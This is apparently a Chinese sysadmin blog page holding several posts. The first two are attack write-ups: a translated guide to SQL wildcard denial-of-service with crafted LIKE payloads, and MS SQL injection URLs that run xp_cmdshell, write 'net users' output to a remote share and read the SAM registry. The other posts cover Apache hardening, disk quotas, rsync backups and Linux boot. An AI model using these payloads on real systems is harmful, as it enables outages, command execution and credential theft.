The Mirages

樱桃沟夹事

DOS ATTACKS USING SQL WILDCARDS(SQL通配符拒绝服务攻击) 原作者:Ferruh Mavituna 1 什么样的应用容易被SQL通配符攻击 (1)拥有SQL后台 (2)数据库拥有300条以上的数据,同时每行数据超过500个字节 (3)有一个应用程序级别的搜索功能 2 搜索查询 SQL服务器支持下列通配符在LIKE查询中”%”,”[]“,”^”和”“ 如果你在搜索框里输入”foo”, SQL查询的结果应该是 SELECT * FROM Aricle WHERE Content LIKE ‘%foo%’ 上面这个查询通常在拥有100000条数据的数据库中查询时间将少于1秒。 下面这个查询在只有2600条记录的情况下花费了6秒 SELECT TOP 10 * FROM Article WHERE Content LIKE ‘%[^!%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]%’ 如果攻击者在这6秒中内又执行一个如下查询 SELECT TOP 10 * FROM Article WHERE Content LIKE ‘%[^!%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]%’ OR Content LIKE ‘%[X%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]%’ OR Content LIKE ‘%[()%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]_%’ 那CPU在100%的负载的情况下将要执行36秒。 3 SQL通配符拒绝服务攻击测试 测试过程相当简单,就是创建包含很多通配符的查询让系统不能返回一个正常值。 4 连接池 攻击查询的时间依赖于应用程序连接池的设定。 ASP.NET的默认设置是,最大连接数量是100,30秒超时。如果我们进行100多个都超过30秒的查询,那其他人就根本无法正常使用这个系统了。 连接池耗尽攻击将会消耗一部分的CPU资源,在数据库服务器上进行常时间的运行对他们来说是足够的了。另外一个理由是长时间查询时可能包括了有问题系统调用代码,相当的NDS查询和HTTP请求。 5 构建搜索关键字 构建搜索关键字需要注意以下几点: (1)首先要确定数据库是否能搜索所有数据 (2)每个OR语句需要有所不同,否则数据库会自动优化这些语句。至少每个语句之间要修改一个字符 (3)对于Microsoft SQL Server,我的经验是在每个字符后加入“[”将导致更长的执行时间。 LIKE ‘%[a[! -z]@$!%                                                                             - 1050 ms. LIKE ‘%[aaaaaaaaa[! -z]@$!%’                                                                - 1600 ms. LIKE ‘%[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!%’         - 3700 ms. (4)更长的查询将导致更长的执行时间。所以我们要构建应用程序允许范围内足够长的查询。 (5)开始和结尾加上“%”也会导致更长时间的查询 (6)每次查询需要有所不同,不然有些应用是有查询缓存存在的。 (7)对于不同大的目标系统和数据需要组合不同的查询。 6 真实影响 对于含有搜索功能的系统的后台数据库都有影响。 这里我们将使用2个论坛系统作为范例。一个是基于ASP.NET+SQL Sever,另外一个是ASP+SQL Sever (1)在2000条记录的情况下就导致了数据库连接超时,查询时间超过30秒 (2)范例系统在带宽1.5M的情况下在2分钟内停止运行 这里我并不是说只有论坛系统有问题,其他任何WEB应用系统都有这样的问题。 7 其他DBMSs 这个文章里并没有说到其它数据库,但是其实其他数据库对于这种攻击同样是非常脆弱的,只是SQL Sever是LIKE通配符查询攻击的主要数据库 以下的搜索操作对于这个问题同样是脆弱的: (1) PostgreSQL 正则表达式匹配 (~) (2)SQL Sever全文查询(CONTAINS) (3)MS Access LIKE查询 (LIKE) (4)MySQL 增则表达式 (REGEXP) 8 增加攻击的效果 如果应用程序允许你选择字段查询: (1) 通过OR来搜索它们,然后选择所有字段 (2)如果它是使用AND操作来搜索的,那就选择最大的字段,而不要选择一个varchar类型,也不要使用使用空格来避免许多AND条件。 尽可能的选择OR条件来进行查询。 让应用程序尽可能的使用连接表,组合多个表进行查询 通过OR来联合多个表达式,使用空格在多个关键字中间。例如: [r/a)%fm (r/b) (r-d) 9 DDOS(分布式拒绝服务攻击)攻击 如果一个应用程序接受通过GET请求的搜索查询,那攻击者就可以使用“WEB SPAMMING TOOL”来自动注册论坛,发送带有攻击代码相关信息和BLOG回复或者发送带有搜索URL的图片。通过这些方式攻击者就可以用其他网站访问者对目标应用进行攻击。 攻击者可以执行XSS攻击通过一些公共的web网站,然后发送”ifram”或者”image”标记来攻击应用。 10 应用程序级别的DOS 我们前面的攻击只是对于数据库服务器产生影响,而对于应用程序本身是没有影响的。 我们需要让应用程序返回尽可能多的记录。这可以让应用程序依赖应用程序的算法和SQL查询进行处理。假设应用程序要返回10W条数据由于有问题的SQL查询分页,这将导致CPU消耗大量的资源在应用程序和数据库层上。 在现实中,我们经常可以发送“-1”等不存在的请求分页。 如:http://www.codeplex.com/subsonic/WorkItem/View.aspx?WorkItemId=16112 分页问题不光在搜索页面存在,同样也存在于当查询条件不存在的时候分页。 11 SQL注入和DOS攻击 如果一个应用对于SQL注入没有防范的话SQL注入是相当平常的,我们在没有SQL注入的情况下也可以进行DOS攻击。不同的DBMS支持不同的复杂应用上无限循环。 一些DBMS同样支持一些特别的功能如MySQL的BENCHMARK就允许重复的执行一个功能。 根据攻击者的权限,攻击者可以很轻易的DROP掉数据库中所有表。甚至还可以关闭系统和数据库服务器。 12 防范 对于需要过滤的通配符在程序上需要返回。程序上要限制一些通配符的使用 限制搜索:最好不要有高级搜索功能,没有高级搜索功能就过滤所有的通配符。 使用验证码 限制每个用户的CPU使用时间 白名单:只有哪些字符能够使用 验证码安全 限制SQL查询执行的时间 防止应用程序级别的DOS:在查询时使用LIMIT或者TOP类似的关键字能够保护应用程序不被DOS攻击。

MS SQL server默认安装了超过1000多存储过程。下面3个存储过程是通常容易被利用 xp_cmdshell sp_makeWebtask xp_regread xp_cmdshell。任何DOS命令都可以通过xp_cmdshell发布,包括目录列表,windows的net view和net use命令,出站的TFTP文件传输等。xp_cmdshell过程的事务物理SQL语句如下 EXEC master..xp_cmdshell ““ 如果有一个用于查询后台MS SQL服务器的ASP脚本,那就可以添加单引号,并采用如下方式调用xp_cmdshell存储过程: /find.asp?MenuID=1988’;EXEC%20master..xp_cmdshell’ping.exe%20202.96.209.5 %20为16进制空格,我发送了一个ping 202.96.209.5的命令。 sp_makewebtask。使用sp_makwebtask过程,可以读取SQL SELECT命令所得到的结果到表格形式的HTML文件中。它的语法如下: EXEC master..sp_makeWebtask “out.html”,”“ 上面那个IP和共享文件夹需要有可写权限。 /find.asp?MenuID=1988’;EXEC%20master..sp_makewebtask”202.96.209.5pubmenu.html”, “EXEC%20master_xp_cmdshell%20’net%20users’” 如果%20不能使用尝试使用+号来代替。 xp_regread。xp_regread过程允许从数据库服务器中读取注册表值以获取一些软件的加密的口令字符串,比如windows SAM数据库(如果没有用SYSKEY加密),我们可以执行如下语句 EXEC xp_regread HKLM, ‘SECURITYSAMDomainsAccount’, ‘c:tempout.txt’ 当然我们还可以配合前面2个存储过程来使用这个 /find.asp?MenuID=1988’;EXEC%20xp_regread ‘HKLM’, ‘SECURITYSAMDomainsAccount’,’c:tempout.txt’ 如何删除就自己GOOGLE下吧

作者:timo 联系方式: greycd ## gmail dot com 如何使web服务器安全(apache) web服务器(apache) 一个像apache这样的web服务器,它最主要的功能是能让HTML页面在客户端浏览器上显现。 功能 web服务器需要能接入互联网,只需要对静态HTML页面提供支持 服务器能支持基于名字的虚拟主机 一些页面只能某些特殊的IP和用户才能访问(基本的认证) 服务器需要记录web请求的日志(包括浏览器的信息) web服务器必须对PHP/Perl脚本语言支持 PHP/Perl组件必须能在本地MySQL数据库中读写用户信息 安全设想 1. 操作系统越坚固越好,包括低于本地和远程攻击 2. 服务器除了HTTP,最好不要提供其他任何网络服务 3. 远程访问服务器必须通过防火墙,关闭所有出去的连接,和只放过HTTP访问连接。 4. 在系统上必须只有一个有效的Apache服务 5. 只有完全必须的apache模块才被装载 6. 任何诊断web页面和自动目录索引服务必须被关闭 7. 服务器只能透露最少的关于自身的信息 8. apache服务必须运行在一个单独的UID/GID下,不能使用其它任何的系统进程 9. apache服务进程被续被限制访问文件系统(chrooting) 10. 不能有shell程序能在apache的chrooted环境中出现 11. PHP配置必须内建的安全机制 12. PHP脚本只能在chrooted环境中执行 13. apache服务器必须拒绝所有请求(GET和POST),含有HTML标记(跨站攻击)或者“’”和”””(可能有SQL注入攻击) 14. 不能有PHP警告和错误信息显示给正式访问的用户 15. 记录进站的GET和PORT请求到一个日志文件。 操作系统 UNIX或者类UNIX例如Linux,FreeBSD等等对于Apache最合适,微软的windows只能提供非常有限的安全能力,对于apache并不合适 先决条件 1. 如果你需要apache和ssl安全认证支持,那OpenSSL就需要先被安装 2. 如何需要apache和postgresql数据库连接支持,那先要安装postgresql或者需要mysql数据库支持那就安装mysql 3. 如果需要LDAP目录支持那还要安装OpenLDAP 4. 如果需要IMAP和POP能力,那还要装IMAP和POP 软件准备 1. UNIX兼容的命令 2. 含有/var/tmp目录 3. RedHat Linux 4. 所有步骤使用root帐户 5. apache版本为1.3 6. Mod_SSL 7. Mod_Perl 8. Mod_PHP Apache : http://www.apache.org/ Mod_Perl : http://perl.apache.org/ Mod_SSL : http://www.modssl.org/ Mod_PHP : http://www.php.net/ 没有的话就去上述网站下载 安装步骤一 把所有tar包放在同一目录中 ```c

[root@localhost]/# cp apache_version.tar.gz /var/tmp [root@localhost]/# cp mod_ssl-version-version.tar.gz /var/tmp [root@localhost]/# cp mod_perl-version.tar.gz /var/tmp [root@localhost]/# cp php-version.tar.gz /var/tmp [root@localhost]/# cd /var/tmp/
解压包c

[root@localhost]/tmp# tar xzpf apache_version.tar.gz [root@localhost]/tmp# tar xzpf mod_ssl-version-version.tar.gz [root@localhost]/tmp# tar xzpf mod_perl-version.tar.gz [root@localhost]/tmp# tar xzpf php-version.tar.gz Mod_SSL [root@localhost]/# cd mod_ssl-version-version [root@localhost]/# CC=”egcs” CFLAGS=”-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions” ./configure –with-apache=../apache_1.3.37 –with-crt=/etc/ssl/certs/server.crt –with-key=/etc/ssl/private/server.key
\*CC – C 编译器 \*\*egcs – 增强GNU边一起 \*\*\*CFLAGS – O2 (i386), O3 (i586), O9 (i686) 优化选项 PHP 4c

[root@localhost]# cd apache_1.3.37
Configurec

[root@localhost]# CC=”egcs” OPTIM=”-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions” CFLAGS=”-DDYNAMIC_MODULE_LIMIT=0” ./configure –prefix=/home/httpd –bindir=/usr/bin –sbindir=/usr/sbin –libexecdir=/usr/lib/apache –includedir=/usr/include/apache –sysconfdir=/etc/httpd/conf –localstatedir=/var –runtimedir=/var/run –logfiledir=/var/log/httpd –datadir=/home/httpd –proxycachedir=/var/cache/httpd –mandir=/usr/man –proxycachedir=/var/cache/httpd –mandir=/usr/man [root@deep ]/php-4.0# make && make install
Mod_PERLc

[root@localhost] cd ../mod_perl-version.version/ [root@localhost] perl Makefile.PL EVERYTHING=1 APACHE_SRC=../apache_1.3.37/src USE_APACI=1 PREP_HTTPD=1 DO_HTTPD=1 [root@localhost]/mod_perl-version.version# make && make install
Apachec

阅读全文 »

王小波有篇文章叫《花刺子模信使问题》,里面讲了一个故事。说古代花刺子模国的国王有一个特别的习俗,凡是给君王带来好消息的信使,就会获得晋升; 凡是给君王带来坏消息的信使,就会被送去喂老虎。花刺子模国到底有没有这个习俗不重要,关键是这个君王天真的认为只要把带来坏消息的信使杀了就只会剩下好 消息了。 而我们的监管部门似乎跟这个君王没什么区别,他们也同样天真的认为,只要把反对的声音压制住了,那就天下太平了。这无论是从物理学还是心理学上都是说不通的,历史证明压制和专制只能换来更大的反抗。 今年中国发生的大事还是非常多的,国家领导人的改选,西藏事件,家乐福事件等等。 而我国对于网络的监控和封锁已经是无所不用其及。无论是技术上的如GFW,还是行政命令上的如家乐福。 关于家乐福我想很多人都已经反应了,在谷歌和百度上搜索已经无法得到结果了。 这里我们可以看看其他方面的监控。下面2个截图是刚刚对于sina和sohu上的2个截图 在图中的选择部分大家都看到了什么呢? 上面我们能看到明明有10W多的留言,但是实际显示却是1W多条,而留下的留言全都是正面的消息。 为什么会这样呢?我想sohu和sina也并不想这样的,因为这样做只会增加他们的工作量,这当然是背后中国电信命令的,中国电信的BOSS不想成为那个带来坏消息的信使,一旦那样的话他可是做不上那个位置了。

cronolog的进程在apache1.3下无法释放的问题给解决了 http://cronolog.org/mailing-list/msg00134.html Example: ErrorLog “|exec /usr/local/cronolog/sbin/cronolog /var/log/apache/hostname_error.%Y%m%d” 本来一直想这个是不是算是bug呢? 现在看来是给解决了,但是不是我解决的,是头给解决的。这个算是从根本上把问题给解决了。 而我本来还在写那个自动杀进程的脚本。把最早的cronolog进程列出来,然后每天杀一次,可这个总归不是解决问题的根本,现在算是从根本上把问题给解决了。 我心里就一直认为这个是bug,暂时是无法解决的,看来自己看待事物需要改变的东西还很多。

如何做到:

  1. 部署容易: 做好部署脚本,包含各种不同的应用的部署脚本

  2. 易维护:错误列表需要做好,各种安装文档作好。

  3. 更安全:做好安全协议和各种安全措施

运维体系面临的问题 系统部分

  1. 系统多样性: windows, linux, freebsd各种操作系统,而且很多时候运行于上面的程序也会各不相同。

  2. 应用多样性: web前端, master db, slave db, ha以及各种不同应用程序。

  3. 人员更替频繁: 操作流程要做好。

网络部分

  1. 应用复杂: 每个项目都需要不同的架设方式

  2. 各种协议问题

阅读全文 »

虽然我本人不用C2C,就是类似taobao这样的,但是我一直上B2C购买物品。 在china-pub, dangdang, joyo都是最高级别会员了,所以对这些网站也算比较了解了。所以就随便对比下。 以前看过amazon的评价,据说亚马逊的订单下去2个小时后就能把物品送到你家中,太厉害了,他们的物流是怎么做到这些的?而我们国内的能在第2天送上门我已经是非常满意了。网站做的好的就是一个售后系统和物流了。 china- pub是上的最早的,因为学计算机的缘故,china-pub以前是计算机图书最多的了,价格也是比较便宜的,一般有个73者,送货费比较贵,一般是需要 7元送货费,所以如果买100以内是绝对不合算的。但是送货还是比较快,从1天到4天都是有的,如果你的书在苏州书库里有的话那估计一到2天就可以到了,如果在北京的话就要4天了。 dangdang是上面随便什么都有,类似百货商店了,最早是在上面买过手表,是精工的表,但是走时还真是差阿,基本需要1个礼拜就要调一次。dangdang的送货费有时候会免费,有时候2元,有时候要5元,价格基本就是如此了。现在价格上跟china- pub比较多,但是评论没有china-pub多,而且枪手也比较多。不过似乎枪手都转到douban上去了。说个问题,现在dangdang的送货实在是慢的可以,基本都是需要1个星期左右,我就不知道这些快递公司外面的评论那么差,可dangdang还是委托他们。同时dangdang即使送货出来也不会通知你,不会告诉你快递公司的电话,除非你打他们的客服电话。客服电话的处理时间是2个工作日,我一个单子需要打2次电话,要是很着急的单子大家自己想想吧。 joyo,现在应该叫amazon中国了,自从被amazon收购后我来这个网站的时间就多了。joyo现在送货费都是免费的了,价格上也比较便宜,跟dangdang基本会产生比较,dangdang便宜它也跟着便宜。joyo的售后还是比较不错的。你单子下去后,首先他们会发 email给你,让你知道有这个事情。其次的话等单子发出后他也会发个email给你说明单子已经发出,同时会告诉你快递公司的名字和快递公司的电话给你。这些其实是很人性话的。china-pub以前也就是会发短消息给你说单子已经发送出来。joyo的东西也并没有dangdang多,但是 dangdang的店中店是比较麻烦的。

磁盘限额,也就是quote,它分为v1和v2两个版本,网上的教程一般都是针对v1的quote 由于要做nis和nfs,所以要对用户的主目录进行磁盘限额,这里的测试帐号为test 对用户主目录:/home限制,修改/etc/fstab文件,重新启动计算机 A.编辑/etc/fstab文件,重新启动计算机,使限额功能生效 ```c

vi /etc/fstab 把 LABEL=/home /home ext3 defaults 1 2 修改为: LABEL=/home /home ext3 defaults,usrquota,grpquota 1 2 touch quota.user touch quota.group chmod 666 quota.user chmod 666 quota.group reboot

```c
1
2
3
4
5
6
7
8
9
10
11

cd /home convertquota /home //这个就是v2的quote必须做的,它会把quota.userh和quota.group转换为aquota.user和aquota.group。如果没有这步下面会报错的。 quotacheck -avug quotaon -a
``` B.限额配置文件的修改 ```c

edquota test//为用户test设置磁盘配额
``` 系统会自动打开配额文件,如下: Disk quotas for user test (uid 1008): Filesystem blocks soft hard inodes soft hard /dev/sda4 1244 0 0 13 0 0 #注: #第一列是启用了配额的文件系统的名称。第二列显示了用户当前使用的块数,单位为KB。随后的两列用来设置用户在该文件系统上的软硬块限度。 inodes 列显示了用户当前使用的i节点数量。最后两列用来设置用户在该文件系统上的软硬i节点限度.硬限是用户或组群可以使用的磁盘空间的绝对最大值。达到了该限度后,磁盘空间就不能再被用户或组群使用了。软限定义可被使用的最大磁盘空间量。和硬限不同的是,软限可以在一段时期内被超过。这段时期被称为过渡期(grace period),默认七天的超越。过渡期可以用秒钟、分钟、小时、天数、周数、或月数表示。如果以上值中的任何一个被设置为 0,那个限度就不会被设置。 C.要校验用户的配额是否被设置,我们可以使用以下命令: ```c

quota test
``` 用以下命令显示磁盘配额使用状态: ```c

repquota -a

01年的老文了,但是还是很经典,转载来 创建时间:2001-07-05 文章属性:原创 文章来源:http://xfocus.org/ 文章提交:inburst (inburst_at_263.net) 用rsync对网站进行镜像备份 by inburst http://xfocus.org 对系统管理员来说,平时的工作重心应该集中在维护系统正常运转,能够正常提供服务上,这里往往牵涉到一个数据备份的问题,在我所了解的情况中,有80%的系统管理员不是太关心自己服务器的安全性,但往往对备分镜像的技术相当感兴趣,但由于商业产品的软硬件价格都相当高昂,因此往往会选择自由软件。这里准备介绍的rsync就是这样的软件,它可以满足绝大多数要求不是特别高的备份需求。 一、特性简介 rsync是类unix系统下的数据镜像备份工具,从软件的命名上就可以看出来了——remote sync。它的特性如下: 1、可以镜像保存整个目录树和文件系统。 2、可以很容易做到保持原来文件的权限、时间、软硬链接等等。 3、无须特殊权限即可安装。 4、优化的流程,文件传输效率高。 5、可以使用rcp、ssh等方式来传输文件,当然也可以通过直接的socket连接。 6、支持匿名传输。 二、使用方法 rsync的使用方法很简单,我就举自己使用的例子来说明吧。 1、系统环境 rsync支持大多数的类unix系统,无论是Linux、Solaris还是BSD上都经过了良好的测试。我的系统环境为: server: FreeBSD 4.3 ip: 192.168.168.52 client: Solaris 8 ip: 192.168.168.137 rsync 版本 2.4.6(可以从http://rsync.samba.org/rsync/获得最新版本) 2、配置server端的/etc/rsyncd.conf文件 bash-2.03# cat /etc/rsyncd.conf uid = nobody gid = nobody use chroot = no # 不使用chroot max connections = 4 # 最大连接数为4 pid file = /var/run/rsyncd.pid lock file = /var/run/rsync.lock log file = /var/log/rsyncd.log # 日志记录文件 [inburst] # 这里是认证的模块名,在client端需要指定 path = /home/inburst/python/ # 需要做镜像的目录 comment = BACKUP CLIENT IS SOLARIS 8 E250 ignore errors # 可以忽略一些无关的IO错误 read only = yes # 只读 list = no # 不允许列文件 auth users = inburst # 认证的用户名,如果没有这行,则表明是匿名 secrets file = /etc/inburst.pas # 认证文件名 [web] path = /usr/local/apache/htdocs/ comment = inburst.org web server 3、在server端生成一个密码文件/etc/inburst.pas bash-2.03# cat /etc/inburst.pas inburst:hack 出于安全目的,文件的属性必需是只有属主可读。 4、在server端将rsync以守护进程形式启动 bash-2.03# rsync –daemon 如果要在启动时把服务起来,有几种不同的方法,比如: a、加入inetd.conf 编辑/etc/services,加入rsync 873/tcp,指定rsync的服务端口是873 编加/etc/inetd.conf,加入rsync stream tcp nowait root /bin/rsync rsync –daemon b、加入rc.local 在各种操作系统中,rc文件存放位置不尽相同,可以修改使系统启动时rsync –daemon加载进去。 5、从client端进行测试 下面这个命令行中-vzrtopg里的v是verbose,z是压缩,r是recursive,topg都是保持文件原有属性如属主、时间的参数。–progress是指显示 出详细的进度情况,–delete是指如果服务器端删除了这一文件,那么客户端也相应把文件删除,保持真正的一致。后面的inburst@ip中, inburst是指定密码文件中的用户名,之后的::inburst这一inburst是模块名,也就是在/etc/rsyncd.conf中自定义的名称。最后的/tmp是备份 到本地的目录名。 在这里面,还可以用-e ssh的参数建立起加密的连接。可以用–password-file=/password/path/file来指定密码文件,这样就可以在脚本中使 用而无需交互式地输入验证密码了,这里需要注意的是这份密码文件权限属性要设得只有属主可读。 bash-2.03# rsync -vzrtopg –progress –delete inburst@192.168.168.52::inburst /tmp/ Password: receiving file list … done ./ 1 785 (100%) 1.py 4086 (100%) 2.py 10680 (100%) a 0 (100%) ip 3956 (100%) ./ wrote 190 bytes read 5499 bytes 758.53 bytes/sec total size is 19507 speedup is 3.43 6、创建更新脚本 如果有比较复杂的工作,利用一些常见的脚本语言可以有帮助。比如: bash-2.03# cat /usr/local/bin/rsync.sh #!/bin/sh DATE=`date +%w` rsync -vzrtopg –progress –delete inburst@192.168.168.52::inburst /home/quack/backup/$DATE –password-file=/etc/rsync.pass > /var/log/rsync.$DATE 7、修改/etc/crontab做好定时 比如: bash-2.03# echo “15 4 * * 6 root rsync.sh”>>/etc/crontab 三、FAQ Q:如何通过ssh进行rsync,而且无须输入密码? A:可以通过以下几个步骤 1. 通过ssh-keygen在server A上建立SSH keys,不要指定密码,你会在/.ssh下看到identity和identity.pub文件 2. 在server B上的home目录建立子目录.ssh 3. 将A的identity.pub拷贝到server B上 4. 将identity.pub加到[user b]/.ssh/authorized_keys 5. 于是server A上的A用户,可通过下面命令以用户B ssh到server B上了 e.g. ssh -l userB serverB 这样就使server A上的用户A就可以ssh以用户B的身份无需密码登陆到server B上了。 Q:如何通过在不危害安全的情况下通过防火墙使用rsync? A:解答如下: 这通常有两种情况,一种是服务器在防火墙内,一种是服务器在防火墙外。 无论哪种情况,通常还是使用ssh,这时最好新建一个备份用户,并且配置sshd仅允许这个用户通过RSA认证方式进入。 如果服务器在防火墙内,则最好限定客户端的IP地址,拒绝其它所有连接。 如果客户机在防火墙内,则可以简单允许防火墙打开TCP端口22的ssh外发连接就ok了。 Q:我能将更改过或者删除的文件也备份上来吗? A:当然可以: 你可以使用如:rsync -other -options -backupdir = ./backup-2000-2-13 …这样的命令来实现。 这样如果源文件:/path/to/some/file.c改变了,那么旧的文件就会被移到./backup-2000-2-13/path/to/some/file.c,这里这个目录需要自己 手工建立起来 Q:我需要在防火墙上开放哪些端口以适应rsync? A:视情况而定 rsync可以直接通过873端口的tcp连接传文件,也可以通过22端口的ssh来进行文件传递,但你也可以通过下列命令改变它的端口: rsync –port 8730 otherhost:: 或者 rsync -e ‘ssh -p 2002’ otherhost: Q:我如何通过rsync只复制目录结构,忽略掉文件呢? A:rsync -av –include ‘/‘ –exclude ‘‘ source-dir dest-dir Q:为什么我总会出现”Read-only file system”的错误呢? A:看看是否忘了设”read only = no”了 Q:为什么我会出现‘@ERROR: invalid gid’的错误呢? A:rsync使用时默认是用uid=nobody;gid=nobody来运行的,如果你的系统不存在nobody组的话,就会出现这样的错误,可以试试gid = nogroup或者其它 Q:绑定端口873失败是怎么回事? A:如果你不是以root权限运行这一守护进程的话,因为1024端口以下是特权端口,会出现这样的错误。你可以用–port参数来改变。 Q:为什么我认证失败? A:从你的命令行看来: 你用的是: > bash$ rsync -a 144.16.251.213::test test > Password: > @ERROR: auth failed on module test > > I dont understand this. Can somebody explain as to how to acomplish this. > All suggestions are welcome. 应该是没有以你的用户名登陆导致的问题,试试rsync -a max@144.16.251.213::test test 四、一些可借鉴的脚本 这里这些脚本都是rsync网站上的例子: 1、每隔七天将数据往中心服务器做增量备份 #!/bin/sh # This script does personal backups to a rsync backup server. You will end up # with a 7 day rotating incremental backup. The incrementals will go # into subdirectories named after the day of the week, and the current # full backup goes into a directory called “current” # tridge@linuxcare.com # directory to backup BDIR=/home/$USER # excludes file - this contains a wildcard pattern per line of files to exclude EXCLUDES=$HOME/cron/excludes # the name of the backup machine BSERVER=owl # your password on the backup server export RSYNC_PASSWORD=XXXXXX ######################################################################## BACKUPDIR=`date +%A` OPTS=”–force –ignore-errors –delete-excluded –exclude-from=$EXCLUDES –delete –backup –backup-dir=/$BACKUPDIR -a” export PATH=$PATH:/bin:/usr/bin:/usr/local/bin # the following line clears the last weeks incremental directory [ -d $HOME/emptydir ] || mkdir $HOME/emptydir rsync –delete -a $HOME/emptydir/ $BSERVER::$USER/$BACKUPDIR/ rmdir $HOME/emptydir # now the actual transfer rsync $OPTS $BDIR $BSERVER::$USER/current 2、备份至一个空闲的硬盘 #!/bin/sh export PATH=/usr/local/bin:/usr/bin:/bin LIST=”rootfs usr data data2” for d in $LIST; do mount /backup/$d rsync -ax –exclude fstab –delete /$d/ /backup/$d/ umount /backup/$d done DAY=`date “+%A”` rsync -a –delete /usr/local/apache /data2/backups/$DAY rsync -a –delete /data/solid /data2/backups/$DAY 3、对vger.rutgers.edu的cvs树进行镜像 #!/bin/bash cd /var/www/cvs/vger/ PATH=/usr/local/bin:/usr/freeware/bin:/usr/bin:/bin RUN=`lps x | grep rsync | grep -v grep | wc -l` if [ “$RUN” -gt 0 ]; then echo already running exit 1 fi rsync -az vger.rutgers.edu::cvs/CVSROOT/ChangeLog $HOME/ChangeLog sum1=`sum $HOME/ChangeLog` sum2=`sum /var/www/cvs/vger/CVSROOT/ChangeLog` if [ “$sum1” = “$sum2” ]; then echo nothing to do exit 0 fi rsync -az –delete –force vger.rutgers.edu::cvs/ /var/www/cvs/vger/ exit 0 4、利用find的一种巧妙方式 rsync -avR remote:’`find /home -name “*.[ch]“`‘ /tmp/ 可以用这种方法列出需要备份的文件列表——这种方法似乎比较少人用到。 五、参考资料: 1、http://rsync.samba.org/ 2、rsync examples 3、rsync FAQ

作为一个系统管理员,对于操作系统底层的熟悉是我们相对于软件工程师优势所在,所以一些基础的东西我 可是还要好好加深哦,而系统管理员不光是要学会对系统软件的配置和优化,这些东西所有人经过一段时间的是都能会的,有些时候我们必须自己写些程序实现点小 功能,这些就是跟人家的区别和优势了,当然我自己还有我自己的方向的。

转自:http://www.cnscn.org(CNS电脑与英语学习网)

  1. BIOS自检
  2. 启动Grub/Lilo
  3. 加载内核
  4. 执行init进程
  5. 通过/etc/inittab文件进行初始化
  6. 登陆Linux

1)BIOS自检
a)POST(Power On Self Test),对硬件进行检测
计算机在通电后首先由BIOS进行自检,即所谓的POST(Power On Self Test),对硬件进行检测
依据BIOS内设置的引导顺序从硬盘、软盘或CDROM中读入”引导块”
在PC中,Linux是从BIOS中的地址0xFFFF0处开始的
BIOS的第一个步骤是加电自检(POST),对硬件进行检测
第二个步骤是进行本地设备的枚举和初始化
BIOS由两部分组成: POST代码和运行时服务
当POST完成后,它从内存中清理出来,但BIOS运行时服务依然保留在内存中,目标操作系统可以使用这些服务
要引导一个操作系统,BIOS运行时会按照CMOS的设置的顺序来搜索处于活动状态并可引导的设备:软盘、CD-ROM、硬盘上的分区、网络上的某个设备、USB(通常Linux是从硬盘引导的
主引导记录MBR中包含主引导加载程序。MBR是一个512字节大小的扇区,位于磁盘上的第一个扇区中(0道0柱面1扇区))当MBR被加载到RAM中之后,BIOS会把控制权交给MBR

b)提取MBR的信息
要看MBR的内容,请使用下面的命令
从/dev/sda上读取前512个字节的内容,并将其写入mbr.bin文件中

1
[root@localhost pam.d]# dd if=/dev/sda of=mbr.bin bs=512 count=1
阅读全文 »
0%